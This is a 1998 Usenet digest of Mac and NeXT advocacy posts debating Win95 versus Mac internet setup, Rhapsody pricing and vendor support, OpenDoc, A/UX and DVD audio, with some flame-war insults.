>the way to creating a desktop alias:
>
>Total mouseclicks: approximately 100.
..
Here's one confused puppy! The actual procedure is to click new connection
in dialup networking, provide a name for the new entry and the phone number,
click OK and you're done. Double click on the new entry, supply your usename
& password and you're connected. About 5 minutes.
..
..
>For the Mac, choose modem, baud speed, select ppp...type password,
username:
..
Well, WIN95 users don't need to choose the modem or baud rate and the OS
is smart enough to know you'll be using PPP. Sounds a lot like Apple needs
some serious catching up here but then it never was very good at standards
based networking. And, gee, whatever happened to the Mac's infamous Plug &
Play??? Real plug & play means the user doesn't need to worry about baud
rates. WIN95 handles this so where's the Mac?? Behind.... again....
naturally.
..
..
>Total mouseclicks: about 10!
>
>I have YET to config a W95 internet connection without hassle. IT SUCKS and
>is highly representative of the redundancy of the OS. I pitty the newbie
>that attemps it for the first time on his own...
..
You forgot to point out that you've obviously never configured a WIN95
Internet connection at all.
..
..
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: 26 Apr 1998 14:13:15 GMT
Organization: P & L Systems
Message-ID: <6hvfdr$bll$6@ironhorse.plsys.co.uk>
References: <no-2104982333090001@grv230155.columbus.rr.com> <blackstar-2204981924300001@a-206-59.sp.neu.edu>
<6hnou5$spq$3@newsfep3.sprintmail.com> <joe.ragosta-2304981334240001@wil133.dol.net>
<1d7xvti.k1mbbwpj1gvgN@p007.intchg3.net.ubc.ca> <joe.ragosta-2304982050200001@elk70.dol.net>
<35418c24.0@news.camtech.net.au>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: timothyp@tne.net.au
In <35418c24.0@news.camtech.net.au> "Timothy Priest" wrote:
> >In article <1d7xvti.k1mbbwpj1gvgN@p007.intchg3.net.ubc.ca>,
> >bbennett@unixg.ubc.ca (Bruce Bennett) wrote:
> >
> >> Joe Ragosta <joe.ragosta@dol.net> wrote:
> >>
> >> > In article <6hnou5$spq$3@newsfep3.sprintmail.com>,
macghod@concentric.net
> >> > wrote:
> >But Apple has already stated that .edu customers will get special pricing.
> >As for the Sci-tech people, most of them aren't going to balk at $400-500
> >for an OS. That happens to be the list price for NT, BTW.
> [...]
> $500 bucks! This is exactly the sort of thing that stopped NeXTStep and
> OpenStep catching on.
>
Nope; what stopped OPENSTEP catching on was $800 for the User version and
$3500 for the Developer tools on top.
> I certainly hope Steve and Apple have learned from past
> mistakes. Apple has to price Rhapsody *aggresively* against NT. $500
dollars is
> not aggresive; its a joke. Aggresive will be in the ball-park of $150-200
(and
> no more), if Apple wants users, even power users, to adopt it and therefore
have
> developers (large developers) come and support it.
>
$500 would probably be too high, but it wouldn't be a joke. $1000+ would be
a joke.
How about we wait to see what Apple tells us, though, before getting all
uptight about pricing -- who knows, the sky might not fall.
> He was not talking of Graphic artists. Publishing is more than graphics.
Apple
> should look at other aspects of publishing real hard. A nice front end for
TeX
> would be the perfect place to start.
>
For who? You complain later about targeting niches...
> Does this already exist on OpenStep?
>
It already exixts for NEXTSTEP -- it would have to be ported.
Best wishes,
mmalc.
From: "Lance Togar" <ltogar@msn.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hejvp$e1u$1@news.digifix.com> <353b5c1c.0@news.together.net> <FIiROLCWddLd-pn2-rZmY8W8Qd7ti@localhost> <6hnpt1$3s$1@newsfep3.sprintmail.com> <joe.ragosta-2304981336540001@wil133.dol.net> <353F9316.8689E2A1@milestonerdl.com> <MPG.fa95eb06fa1e7f3989703@news.itg.ti.com> <MPG.fa95fae282ecf7b989704@news.itg.ti.com> <353fce69.0@news.together.net> <hi-3108560304230001@1cust162.tnt3.sea1.da.uu.net>
Subject: Re: IMPEACH JOBS
Date: Sun, 26 Apr 1998 11:01:42 -0400
Message-ID: <354346c3.0@news.together.net>
Organization: Together Networks - Burlington, VT.
Carl Bond wrote in message ...
>In article <353fce69.0@news.together.net>, "Lance Togar" <ltogar@msn.com>
wrote:
>
>| Jason McNorton wrote in message ...
>| >Also, I wanted to add that his big defense for advocating Macs is that
he
>| >equates the Mac with a small child getting beat up in school. First of
>| >all, Macs aren't human.. They don't feel sad when they are picked on.
>| >They don't worry about their own survival. That argument was the
>| >flimsiest thing I've ever seen. Second, Steve Jobs and Apple are NOT
>| >poor little beaten up kids either. Apple can, and is, a ruthless
>| >company.. It's not a warm-fuzzy love fest like I've seen people claim
it
>| >to be.
>| ..
>| Don't tell me you mean that the 2 Steves aren't still cobbling Macs
together
>| in a Southern California garage!!! FTW, Apple was busily assembling their
>| stuff in Singapore in *1978*. Now, there's *nothing* wrong with that
since
>| it's how corporations make money. What's annoying is to suggest that
Apple
>| is somehow different from the rest. They aren't and never were.
>| ..
>| ..
>
>Wrong, wrong, wrong.
>
>I'm betting you guys never got it when you first used a Mac.
>
>"What trash, what a joke," you all said.
..
Actually, I liked the first Mac and probably would've purchased one if it
had been slightly expandable and/or if it hadn't cost twice what it was
worth. I mean, $2400 for a 9" b&w TV and an 8 MHZ 68K SBC was a bit much....
even then.
..
..
>So, it begs me to ask one question: What brings you two here to these
parts?
>
..
Having fun.... you?
..
..
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 26 Apr 98 09:23:01 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B168AD80-53F07@207.217.155.4>
References: <joe.ragosta-2604980736310001@elk52.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.earthlink.net/comp.sys.next.advocacy
Joe Ragosta wrote:
>Exactly how much good did IBM do for Apple on OpenDoc? They talked about
>it for years, played around with some beta code, but never finished it.
IBM picked up the OpenDoc port when Novell dropped it. They released
OpenDoc for OS/2 and Windows, based on Apple OpenDoc 1.0.4. But quantity !=
quality. Their Windows implementation sucked. And the promise of
cross-platform use wouldn't have been in view until 1999.
Most of us didn't give a damn about cross-platform issues. We were (and I
still am) happy to support a MacOS platform advantage.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
From: devnull@occam.com (Leon von Stauber)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple (or Unix) equiv. to MCSE?
Date: 26 Apr 1998 17:36:41 GMT
Organization: Occam's Razor
Message-ID: <6hvrb9$600$1@news.cmc.net>
References: <1998042519561700.PAA27958@ladder03.news.aol.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: willadams@aol.com
In <1998042519561700.PAA27958@ladder03.news.aol.com> WillAdams wrote:
>Does Apple have an equivalent to the Microsoft Certified Software Engineer
>program?
Not that I'm aware of. The closest thing would be registration with ASPN
(Apple Solutions Professionals Network, or s.l.t.), but there's no
certification involved, just money.
>What would be the equivalent for Unix?
No such thing. The various vendors (Sun, HP, et al.) offer their own
certification programs, but of course those are weighted toward their
respective versions of UNIX. SAGE ( http://www.usenix.org/sage/ ) has
started thinking about creating a series of system administration
certification programs, but nothing has been done yet other than
serious brainstorming.
_______________________________________________________________
Leon von Stauber http://www.occam.com/leonvs/
Occam's Razor, Game Designer <com.occam@leonvs>
Metapath Software, UNIX System Admin <com.metapath@lvonstau>
"We have not come to save you, but you will not die in vain!"
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: nagle@netcom.com (John Nagle)
Subject: Re: Final Words on Rhapsody as a Server OS
Message-ID: <nagleEs17zo.I6H@netcom.com>
Organization: Netcom On-Line Services
References: <nagleEryE4s.HLD@netcom.com> <B1676563-115D2@206.165.43.106> <see-below-2504982117550001@209.24.240.182>
Date: Sun, 26 Apr 1998 17:45:24 GMT
Sender: nagle@netcom6.netcom.com
see-below@not-my-address.com (Matthew Vaughan) writes:
>In article <B1676563-115D2@206.165.43.106>, "Lawson English"
><english@primenet.com> wrote:
>> John Nagle <nagle@netcom.com> said:
>> > Servers need things like clustering support, hot-plugging, alarms,
>> > stall timers, and such, none of which Apple has ever done.
>>
>> I thought that their AUX line of servers did all that, and really well. Was
>> I wrong?
>Hmm. Are you thinking of their AIX servers? In that case, it was IBM's
>operating system, not Apple's. But I don't know, perhaps AUX had some such
>support as well.
A/UX was Apple's UNIX entry for the 68K machines. It was basically
a Unix System V port with a Yellow Box for running Mac applications.
All the Mac apps ran in one A/UX process, and they could crash
each other, but not the whole system. UNIX apps could run in separate
processes. The Mac compatibility box could restart without restarting
the whole system, which was very nice for development.
A/UX Version 1 was about 4x slower than the MacOS on even compute-bound
applications, like compiling. Version 2 was reportedly faster, but I
never tried it. A/UX was never offered on PowerPC machines.
A/UX had some server software, but nothing like what one expects
today in a server. It could be used as a file server for AppleTalk
nets, as I recall.
John Nagle
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 26 Apr 1998 11:18:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B168C858-10D76@206.165.43.99>
References: <joe.ragosta-2604980734550001@elk52.dol.net>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Joe Ragosta <joe.ragosta@dol.net> said:
> In article <B1682DB8-4B386@206.165.43.167>, "Lawson English"
> <english@primenet.com> wrote:
>
> > Kristofer Jon Magnusson <kris@xmission.xmission.com> said:
> >
[snipt]
>
> > Claris demoed a version of CW 5.0 using OpenDoc and that Nissus still
> ships
> > with OpenDoc support. They were supposed to ship "GXMagic," a suite of
> > OpenDoc parts that uses GX for DTP layout by now. MacWeek had an
> article
> > about it a month or two ago. Anyone know what happened to it? OpenDoc
> and
> > GX are supposed to be a big part of Nissus' presence in Japan.
>
> Again, lots of people talked about it. OpenDoc was out for years and no
> major commercial vendors (which seems to be the standard you and Kris
> are
> using) ever adopted it.
>
Claris was demoing OD on ClarisWorks and fully intended 5.0 to be a
container app. In fact, ripping OD support out of ClarisWorks delayed 5.0
from what I've heard.
Claris is [was] one of the largest software houses, you know.
> >
> >
> > > Rhapsody currently has the support of exactly zero first-tier
> > > industry partners.
> >
> >
> >
> > Adobe even officially backed off from it. I'm still waiting for someone
to
> > cite a URL where they have recently endorsed it.
>
> So what???
>
So what?????
That's the nicest example of "denial" that I've ever seen.
> Photoshop will run at least as well on Rhapsody as on native MacOS. What
> does Adobe need to do to support it?
Use it as a cross-platform development solution?
>
> Of course, if they choose to let YB app vendors pass them by ignoring YB
> development, that's their choice.
And Apple's terrible, terrible loss.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 26 Apr 1998 11:20:04 -0700
Organization: Primenet Services for the Internet
Message-ID: <B168C8B6-12399@206.165.43.99>
References: <joe.ragosta-2604980736310001@elk52.dol.net>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
>> > If Lotus, Novell, and IBm are going to drop the ball they way they did
on
>> > OpenDoc, who needs them?
> > Apple?
>
> Nope.
>
> Apple clearly needs partners who _do_ something. NOT partners who say
> they'll do something, then sit on their hands until they can quietly drop
> the project years later.
>
Er, yeah.
> Exactly how much good did IBM do for Apple on OpenDoc? They talked about
> it for years, played around with some beta code, but never finished it.
>
Except that it was shipping, not beta.
> How much good did IBM do on CHRP? They even finished OS/2 for PPC, then
> didn't do anything with it.
Not to mention RS/6000 workstations for CHRP...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AMP, DVD, HDTV, and Titanic
Date: Sun, 26 Apr 1998 11:56:39 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2604981156390001@sf-pm5-2-66.dialup.slip.net>
References: <01bd6e3f$00eed8d0$04387880@test1> <gmgraves-2304980930580001@sf-pm5-13-77.dialup.slip.net> <6hp87t$oh3$7@ha2.rdc1.sdca.home.com> <gmgraves-2404980943220001@sf-usr1-30-158.dialup.slip.net> <6hrikq$j3g$2@ha2.rdc1.sdca.home.com> <gmgraves-2504981559160001@sf-usr1-55-183.dialup.slip.net> <6htrli$sqh$1@ha2.rdc1.sdca.home.com>
In article <6htrli$sqh$1@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
> In <gmgraves-2504981559160001@sf-usr1-55-183.dialup.slip.net> George Graves
> wrote:
> > In article <6hrikq$j3g$2@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
> >
> > > So what we have here is the VHS killer.app! I can go with that as
long as
> > > Don't need no stinking $6000 HDTV viewer!
> >
> > No, you don' need no STEENKIN' HDTV!
> >
>
> Kool
>
> > >
> > > The technical backgound illuminates the Industry DVD advantages. It's a
> push
> > > for video. Audio has me confused. DVD 2nd generation discs are doing 24
> bit
> > > / 96 Hz. Though this is techno-illusion from the historical wealth of
> > content
> > > created on analog and 16 bit, I detect a crack in CD's lock on the audio
> > > market. WhazUp with dat?
> >
> > Just as there are various standards (red book, blue book etc.) for CD used
> > for various purposes, there are different standards for DVD. Originally
> > called 'Digital Video Disc', it has now been changed to 'Digital VERSATILE
> > Disc' due to the fact that it can be used for computer data, movies AND
> > audio. Because of its incredible storage capacity, DVD can do something
> > that CD could never do: 24 bit, 96 KHz sampling rate and STILL give you
> > incredible playing time. This is the new audio DVD standard that has
> > recently been hashed-out by a committee of a number of players in the
> > record industry. We will all need new CD players of course (luckily they
> > will be backward compatible with our present CD collections), but the
> > up side is that finally, digital sound MIGHT begin to approach analog in
> > quality. Time will tell.
> >
> >
>
> Whoa... The Industry gets to sell it thrice. Vinyl + DVD on the high end, CD
> mainstream and tape low-end. I want a 24/96 recording deck... :-) And you
> are telling me that DVD isn't comressing the hell out of source on the fly?
> This is a 1:1 copy? They can stratify even further by discounting comressed
> discs and charging up the whazoo for a master 1:1.
>
> It getting interesting... thanks very much for sorting out the situation for
> me. Thanks.
Its my understanding that the audio DVD is not compressed at all! Its
just finally the CD we were promised 15 years ago, but that the
industry has not been able to deliver due to the limitations of the
1977 technology that the standard CD uses.
George Graves
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 26 Apr 1998 18:54:07 GMT
Organization: @Home Network
Message-ID: <6hvvsf$m83$1@ha2.rdc1.sdca.home.com>
References: <199801202218001457904@ppp8.hol.fr> <6fmtdo$qr7$1@quasar.dimensional.com>
<351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net>
<6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net>
<6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com>
<6ggn3g$1kt$6@quasar.dimensional.com> <6ggsgj$fit$9@anvil.BLaCKSMITH.com>
<6gh9i2$oop$8@ironhorse.plsys.co.uk> <6gis4a$6j$3@anvil.BLaCKSMITH.com>
<6gm8ou$hom$4@quasar.dimensional.com> <6gq9kh$oop$22@ironhorse.plsys.co.uk>
<6gunnn$4m9$6@quasar.dimensional.com> <6hg009$57p$10@ironhorse.plsys.co.uk>
<slrn6jo9po.q17.sal@panix3.panix.com> <3540A8F9.3D04B398@cs.purdue.edu>
<slrn6k44k2.pe0.sal@panix3.panix.com>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
Cc: sal@panix3.panix.com
In <slrn6k44k2.pe0.sal@panix3.panix.com> Salvatore Denaro wrote:
> On Fri, 24 Apr 1998 10:00:09 -0500, Ivan Tkatchev <tkatchev@cs.purdue.edu>
wrote:
> >> Of course, C++ code isn't as elegant as APL or Perl...
> >Perl.. Ughh, barf...
>
> That was a joke. Perl is ugly, but useful.
>
> And has anyone else ever had to learn/use APL? Now that is a ugly
> language. It looks like a language Salvador Dali would design...
>
>
Telecommunications switches worldwide use APL or it's derivitives and
Financial guru's on the Street hack APL algorithymics. It has its uses...
-r
From: fozzie@macatawa.org (Adam Devereaux)
Newsgroups: comp.sys.next.advocacy
Subject: Re: AMD gets Alpha?
Date: Sun, 26 Apr 1998 16:03:48 -0500
Organization: LL
Message-ID: <fozzie-2604981603480001@ppp13.wmol.com>
References: <353fa077.0@news.depaul.edu>
In article <353fa077.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
<snip>
>
> An inexpensive K6/Alpha hybrid, manufactured by AMD and IBM, could really
> hurt Intel if priced right.
>
> (And Rhapsody would run really nicely on it.)
Not to mention the fact that Apple might Buy or Cut a deal with AMD!
(No flames, this is only rumor)
> http://www.news.com/News/Item/0,4,21418,00.html?st.ne.fd.mdh
--Adam Devereaux
From: hi@no.spam.e-mail.thanks.a.lot.see.sig.for.address (Carl Bond)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 26 Apr 1998 20:47:59 GMT
Organization: A wee lone soul with a Macintosh for power...
Message-ID: <hi-2808562103540001@1cust166.tnt8.krk1.da.uu.net>
References: <hi-2808560410480001@1cust238.tnt8.krk1.da.uu.net> <B1682C7D-46987@206.165.43.167>
In article <B1682C7D-46987@206.165.43.167>, "Lawson English"
<english@primenet.com> wrote:
| Carl Bond <hi@no.spam.e-mail.thanks.a.lot.see.sig.for.address> said:
|
| > | that point. We don't have any need of making a "CE" version of MacOS.
| >
| > System 6 had little (if any) color support.
|
|
|
| ?????
|
| 256 color support came out with the Mac II's in 1987 (6?).
|
| System 1.0 had 8-color support, although you couldn't see it.
Hmmmm... Oh, it did?
Heh, heh, whoops! Something's wrong with my source!
Of course, it's a lucky thing I am not a Jim Carlton drone!
Disproving my "facts" could be a daily issue!
|
| ----------------------------------------------------------------------
| Want Apple to license Cyberdog for third-party development? Go to:
| <http://www.pcsincnet.com/petition.html>
| ----------------------------------------------------------------------
--
"I urge you to be different. I urge you to buy Macintosh. You'll
personally reap the benefits and you'll have great strength. Enjoy."
<Carl Bond> <cbond@earthlink.net>
Date: Sun, 26 Apr 1998 18:03:23 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Message-ID: <joe.ragosta-2604981803240001@elk77.dol.net>
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net>
In article <35433ec7.0@news.together.net>, "Lance Togar" <ltogar@msn.com> wrote:
> G_o_M_a_c Nicolas Krinis > wrote in message
> <6htbcc$kl9$2@garnet.nbnet.nb.ca>...
> >
> >
> >What? 5 min. to config W95 for internet access? More like 20 minutes, even
> >if you know what you're doing:
> >There are a total of 6 steps to configurefrom the Dial-up adaptor , through
> >windows logon.......Gateway to Wins config.......through the bindings all
> >the way to creating a desktop alias:
> >
> >Total mouseclicks: approximately 100.
> ..
> Here's one confused puppy! The actual procedure is to click new connection
> in dialup networking, provide a name for the new entry and the phone number,
> click OK and you're done. Double click on the new entry, supply your usename
> & password and you're connected. About 5 minutes.
Except that you left out a lot of stuff-and a few reboots. My own ISP has
pages for setting up networking for a Win95 box--about 3 pages of small
type.
On the Mac, it's less than half that.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 26 Apr 1998 22:38:12 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6k7dqk.agj.mbkennel@lyapunov.ucsd.edu>
References: <joe.ragosta-2504982243370001@elk39.dol.net> <B1682DE8-4BEBC@206.165.43.167> <joe.ragosta-2604980736310001@elk52.dol.net>
On Sun, 26 Apr 1998 07:36:30 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
:
:Exactly how much good did IBM do for Apple on OpenDoc? They talked about
:it for years, played around with some beta code, but never finished it.
In IBM's world, and in the real technological world, OpenDoc is nearly
the same thing as Java and JavaBeans. In reality, there is not place
for both of them, and except for creating compound documents (only one
small portion of all the stuff under OpenDoc), Java is better and
has a real future.
To be blunt, Java and the JVM is a much better idea, and Apple was
out-innovated and out-marketed by Sun, fair-and-square.
Suppose Apple came up with the idea of secure downloadable executable web
content, and licensed implementations of the VM to everybody? Wouldn't
they be hailed as genius? This is the kind of thing which the old Apple
would have invented.
And personally I don't feel the idea of "consumer linkable program parts"
even *IS* that good an idea---whereas improving the linking of parts for
custom corporate development fulfills a huge need, viz OpenStep + JavaBeans.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Flipping Joe's Bozo Bit
Date: 26 Apr 1998 16:47:57 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6i0dit$466$1@xmission.xmission.com>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net>
In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
: > Rhapsody currently has the support of exactly zero first-tier
: > industry partners.
: And your point is?
You wouldn't know a point if it were rammed up your poop-chute.
: If Lotus, Novell, and IBm are going to drop the ball they way they did on
: OpenDoc, who needs them?
I guess not you, since apparently all you use a computer for is to post to
Usenet.
People who want to run Lotus, Novell, and IBM products need Lotus,
Novell, and IBM to support their platform. These people inhabit something
called The Real World. This place exists in The Big Room with a Blue
Ceiling that has a Really Bright Yellow Light. I understand that you
haven't been there in years. It really is a lot nicer than where you are
right now. These people have to do Real Work and solve Real (not
Imaginary) Problems, like how to run Lotus Notes, how to connect to Novell
networks, and other Real Things.
Look deep inside yourself. Visualize the empty space within. That is
where your inner bozo lives. It can be destroyed. Open up that space to
the nourishing light of the Really Bright Yellow Light in The Big Room
with The Blue Ceiling.
Imagine that light illuminating the fetid, rotten inner bozo that has been
poisoning you for years. Imagine letting a fresh, clean wind into that
space to dissipate its rancid vapors. Imagine being free of the inner bozo
that makes you squirt semantic diarrhea all over innocent people on
Usenet.
You can be helped. But in the meantime, your bozo bit has been flipped, so
as to keep your poop off me.
......kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 26 Apr 1998 17:00:44 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6i0eas$67h$1@xmission.xmission.com>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <6hugjc$hbh$1@news.idiom.com>
In comp.sys.next.advocacy John C. Randolph <jcr.remove@this.phrase.idiom.com> wrote:
: Kristofer Jon Magnusson may or may not have said:
: ->
: -> Rhapsody currently has the support of exactly zero first-tier
: -> industry partners.
: Which has a lot to do with why I'm so enthusiastic about Rhapsody.
: Taligent was an IBM-Apple-HP circle jerk which wasn't worth shipping.
: Kaleida was an IBM-Apple initiative which came up with a very cool product,
: but which got wrecked in the crossfire when Taligent fell apart.
: CHRP was an IBM-Apple-Motorola circle jerk which got killed for stupid
: political reasons.
: For my part, I'll stay *far* away from products that depend on the
: cooperation of several billion-dollar companies.
Four words: "Show me the software."
Surely you would like to see more people rather than fewer be able to get
their requisite tasks accomplished on Rhapsody?
I too share your disdain of grand, overarching alliances. I couldn't care
less about press-release partnerships. But I am not talking about such a
thing. I am talking about releasing native products for Rhapsody.
I want these companies to port the products they sell that run on
Windows and MacOS and Unix that I need to get my work done on Rhapsody.
Frame+SGML is the one I have been bugging Adobe for.
There have been no announcements from any first-tier company (well, one if
you count CA and Jasmine and Unicenter) concerning Rhapsody-native apps.
........kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: f@pearl.net (Fred)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Sun, 26 Apr 1998 18:08:51 -0500
Organization: none
Message-ID: <MPG.fad7a7c96bc87a49896cb@news.unt.edu>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com>
In article <6i0dit$466$1@xmission.xmission.com>, kris@xmission.xmission.com
says...
> I guess not you, since apparently all you use a computer for is to post to
> Usenet.
>
> People who want to run Lotus, Novell, and IBM products need Lotus,
> Novell, and IBM to support their platform. These people inhabit something
> called The Real World. This place exists in The Big Room with a Blue
> Ceiling that has a Really Bright Yellow Light. I understand that you
> haven't been there in years. It really is a lot nicer than where you are
> right now. These people have to do Real Work and solve Real (not
> Imaginary) Problems, like how to run Lotus Notes, how to connect to Novell
> networks, and other Real Things.
>
> Look deep inside yourself. Visualize the empty space within. That is
> where your inner bozo lives. It can be destroyed. Open up that space to
> the nourishing light of the Really Bright Yellow Light in The Big Room
> with The Blue Ceiling.
>
> Imagine that light illuminating the fetid, rotten inner bozo that has been
> poisoning you for years. Imagine letting a fresh, clean wind into that
> space to dissipate its rancid vapors. Imagine being free of the inner bozo
> that makes you squirt semantic diarrhea all over innocent people on
> Usenet.
>
> You can be helped. But in the meantime, your bozo bit has been flipped, so
> as to keep your poop off me.
This is quite probably the greatest single usenet post I've ever read..
From: hi@no.spam.e-mail.thanks.a.lot.see.sig.for.address (Carl Bond)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 26 Apr 1998 22:59:19 GMT
Organization: A wee lone soul with a Macintosh for power...
Message-ID: <hi-2808562315210001@1cust44.tnt8.krk1.da.uu.net>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <hi-3108560220260001@1cust162.tnt3.sea1.da.uu.net>
In article <hi-3108560220260001@1cust162.tnt3.sea1.da.uu.net>,
hi@no.spam.e-mail.thanks.a.lot.see.sig.for.address (Carl Bond) wrote:
| In article <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net>,
| spambait@seemysig.com (Mike Cohen) wrote:
|
| | In article <6hbob0$5g8@mozo.cc.purdue.edu>,
| | pomart@cartoon.ecn.purdue.edu (Your Name) wrote:
| |
| | | >We have all heard about all of Jobs pecadillos, about how he screwed THe
| | | >Woz out of $200, about how he cusses people out, and quite frankly its
| | time
| | | >to get rid of Jobs. He simply LACKS INTEGRITY. You youngins simply
| | dont
| | | >value INTEGRITY Like you should!
| | |
| | | Shut up! Jobs is doing fine, could have done better, yes, but he's
| | | doing all right.
| |
| | Killing the newton alone is enough reason to get rid of him. The Newton
| | didn't deserve to die.
|
| Some Intel subsidised company now owns the chips to the Newton.
|
| I'll trade for a color Newton any day, if Intel owns my precious chips.
| (At least, that's the rumor. The next family of Newtons will soon have
| color.)
Okay, now that we've all concluded that this is JUST A RUMOR, read it from
the source where I originally got the "next generation Newton" rumor from:
http://www.macnn.com/reality/archives/042098/news.shtml#MacOSLite
--
"I urge you to be different. I urge you to buy Macintosh. You'll
personally reap the benefits and you'll have great strength. Enjoy."
<Carl Bond> <cbond@earthlink.net>
From: gierkeNOSPAM@delaware.infi.net (Patrick William Gierke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: is allegro going to be optimized for the G3?
Date: Sun, 26 Apr 1998 19:15:39 -0500
Organization: Irish, and damn proud of it!
Message-ID: <gierkeNOSPAM-2604981915400001@pm1-32.ile.infi.net>
References: <6hv7e1$tq4$1@nnrp1.dejanews.com>
"U.EX&yu;shPi:JdV.Sg##"chDE/06q{]1G]mN&P1(QUHO&!`lGw`xb8VKQ_acmZH>uO
=iA7N0YiXQ[MP$M~f([RK]J7<%R5JEKp%2sq`j<MLYko@`?eEcz'v,q!
In article <6hv7e1$tq4$1@nnrp1.dejanews.com>, jmcvay@lynn.edu wrote:
> i've seen the noticable difference between in the
> performance of virtual PC 2.0 in on G3 and non-G3
> powerPC chips. the G3-optimized virtualPC 2.0 screams
> on a G3. so, if apple did the same for allegro, what do
> you guys think would be the speed improvement on G3
> machines? how much work would it take to optimize it
> for the G3 (is it just a checkbox option in the
> compiler?)?
>
> jason
>
> please reply via e-mail. . .
>
> -----== Posted via Deja News, The Leader in Internet Discussion ==-----
